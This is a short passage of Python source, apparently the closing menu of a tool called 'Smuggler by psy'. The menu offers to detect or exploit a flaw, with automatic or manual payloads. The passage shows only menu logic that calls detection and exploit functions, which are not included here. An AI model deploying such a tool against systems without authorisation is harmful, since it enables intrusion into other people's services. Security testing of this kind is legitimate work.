  685. option = input("\n+ CHOOSE: (D)etect or (E)ploit: ").upper()
  686. print("\n"+"="*50)
  687. if option == "D": # detecting phase
  688. detect(True) # only detect
  689. elif option == "E": # trying to exploit
  690. exp_type = input("\n+ CHOOSE: (A)utomatic or (M)anual: ").upper()
  691. print("\n"+"="*50)
  692. if exp_type == "M": # trying manual payload
  693. manual()
  694. else: # automatic exploits
  695. exploit()
  696. else:
  697. print("\n"+"-"*45+"\n")
  698. print("[Smuggler by psy (https://03c8.net)]\n\n Bye! ;-)\n")
  699. sys.exit()